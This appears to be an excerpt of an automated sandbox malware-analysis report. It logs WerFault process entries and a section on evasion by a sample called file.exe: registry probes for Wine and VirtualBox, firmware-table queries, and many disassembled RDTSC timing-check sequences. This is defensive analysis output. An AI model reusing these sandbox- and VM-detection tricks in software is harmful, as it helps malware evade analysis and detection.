                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                  Malware Analysis System Evasion

                  barindex
                  Source: C:\Windows\System32\svchost.exeSystem information queried: FirmwareTableInformationJump to behavior
                  Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                  Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AA1C2 second address: 9AA1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B898h 0x00000009 jmp 00007FE2B0E6B893h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AA1F4 second address: 9AA1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9A91BC second address: 9A91C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9A95EC second address: 9A95F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9A9A37 second address: 9A9A43 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE2B0E6B886h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AD561 second address: 9AD5F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a jne 00007FE2B0E330D6h 0x00000010 pop esi 0x00000011 jmp 00007FE2B0E330DFh 0x00000016 popad 0x00000017 nop 0x00000018 xor dword ptr [ebp+122D3573h], ebx 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push esi 0x00000023 call 00007FE2B0E330D8h 0x00000028 pop esi 0x00000029 mov dword ptr [esp+04h], esi 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc esi 0x00000036 push esi 0x00000037 ret 0x00000038 pop esi 0x00000039 ret 0x0000003a call 00007FE2B0E330D9h 0x0000003f pushad 0x00000040 pushad 0x00000041 jmp 00007FE2B0E330E7h 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 jc 00007FE2B0E330D8h 0x0000004f pushad 0x00000050 popad 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 jmp 00007FE2B0E330E1h 0x0000005b pushad 0x0000005c popad 0x0000005d popad 0x0000005e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AD5F5 second address: 9AD643 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FE2B0E6B896h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jc 00007FE2B0E6B890h 0x00000019 pushad 0x0000001a jg 00007FE2B0E6B886h 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FE2B0E6B893h 0x0000002f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AD784 second address: 9AD7D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007FE2B0E330D8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 jg 00007FE2B0E330DCh 0x00000027 push 00000000h 0x00000029 mov dword ptr [ebp+122D328Bh], ecx 0x0000002f call 00007FE2B0E330D9h 0x00000034 jo 00007FE2B0E330E0h 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AD7D0 second address: 9AD7E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 ja 00007FE2B0E6B88Ch 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AD8D4 second address: 9AD8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AD8D8 second address: 9AD910 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007FE2B0E6B896h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE2B0E6B894h 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AD9AE second address: 9AD9BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edi 0x0000000d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9AD9BB second address: 9ADA94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B895h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov esi, dword ptr [ebp+122D344Eh] 0x00000010 push 00000000h 0x00000012 or esi, 7FEAD724h 0x00000018 push 60C0E60Bh 0x0000001d jnl 00007FE2B0E6B894h 0x00000023 xor dword ptr [esp], 60C0E68Bh 0x0000002a ja 00007FE2B0E6B88Ch 0x00000030 push 00000003h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FE2B0E6B888h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c push 00000000h 0x0000004e mov ecx, dword ptr [ebp+122D37A4h] 0x00000054 push 00000003h 0x00000056 push 00000000h 0x00000058 push ebx 0x00000059 call 00007FE2B0E6B888h 0x0000005e pop ebx 0x0000005f mov dword ptr [esp+04h], ebx 0x00000063 add dword ptr [esp+04h], 0000001Ch 0x0000006b inc ebx 0x0000006c push ebx 0x0000006d ret 0x0000006e pop ebx 0x0000006f ret 0x00000070 call 00007FE2B0E6B898h 0x00000075 xor esi, 78EB9112h 0x0000007b pop edi 0x0000007c push EA7CF82Eh 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 push edx 0x00000085 jmp 00007FE2B0E6B88Bh 0x0000008a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9ADA94 second address: 9ADAAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9ADAAE second address: 9ADB1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FE2B0E6B886h 0x00000009 jne 00007FE2B0E6B886h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 2A7CF82Eh 0x00000019 mov dx, BF05h 0x0000001d lea ebx, dword ptr [ebp+1245B3A2h] 0x00000023 mov ecx, 073CDACAh 0x00000028 xchg eax, ebx 0x00000029 push edx 0x0000002a pushad 0x0000002b jmp 00007FE2B0E6B894h 0x00000030 jmp 00007FE2B0E6B894h 0x00000035 popad 0x00000036 pop edx 0x00000037 push eax 0x00000038 jnl 00007FE2B0E6B89Eh 0x0000003e pushad 0x0000003f jmp 00007FE2B0E6B890h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CEAF7 second address: 9CEAFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 99573A second address: 995759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Bh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007FE2B0E6B886h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 995759 second address: 99575D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CCFA7 second address: 9CCFB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CCFB0 second address: 9CCFD6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE2B0E330E5h 0x00000008 push eax 0x00000009 jnp 00007FE2B0E330D6h 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CD15F second address: 9CD166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CD166 second address: 9CD189 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FE2B0E330DCh 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jl 00007FE2B0E330E4h 0x00000013 push edi 0x00000014 jl 00007FE2B0E330D6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CD56A second address: 9CD570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CDA09 second address: 9CDA3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jbe 00007FE2B0E330D6h 0x00000012 jmp 00007FE2B0E330DDh 0x00000017 pop edi 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 99F906 second address: 99F90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 99F90C second address: 99F940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E330E4h 0x00000009 jmp 00007FE2B0E330E8h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 995715 second address: 99573A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE2B0E6B88Ah 0x0000000f jmp 00007FE2B0E6B891h 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CE4A9 second address: 9CE4AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CE5F3 second address: 9CE62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B899h 0x00000009 jmp 00007FE2B0E6B88Fh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CE62A second address: 9CE630 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CE96C second address: 9CE980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE2B0E6B88Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CE980 second address: 9CE988 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CE988 second address: 9CE99C instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E6B886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FE2B0E6B886h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9CE99C second address: 9CE9A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D35BF second address: 9D35F2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE2B0E6B8A5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007FE2B0E6B890h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D5A3C second address: 9D5A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D5A40 second address: 9D5A77 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE2B0E6B897h 0x00000008 jmp 00007FE2B0E6B891h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE2B0E6B898h 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D5C1A second address: 9D5C49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007FE2B0E330E8h 0x00000015 pop esi 0x00000016 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D5C49 second address: 9D5C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D5C4F second address: 9D5C72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a ja 00007FE2B0E330E0h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D5C72 second address: 9D5C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D8EB6 second address: 9D8EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE2B0E330D6h 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D8EC4 second address: 9D8ED3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FE2B0E6B886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D9042 second address: 9D9046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D9046 second address: 9D9056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE2B0E6B886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D9056 second address: 9D905A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D9177 second address: 9D9194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FE2B0E6B897h 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D9194 second address: 9D91B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jp 00007FE2B0E330D6h 0x00000012 pop ecx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007FE2B0E330D6h 0x00000021 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D91B5 second address: 9D91B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D971A second address: 9D9723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D9723 second address: 9D9740 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E6B897h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D9862 second address: 9D988F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE2B0E330E2h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE2B0E330DFh 0x00000016 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9D988F second address: 9D9893 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC5B7 second address: 9DC631 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE2B0E330DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 642DE0A7h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007FE2B0E330D8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b jnl 00007FE2B0E330E9h 0x00000031 call 00007FE2B0E330D9h 0x00000036 jmp 00007FE2B0E330E2h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e js 00007FE2B0E330DCh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 9DC631 second address: 9DC635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
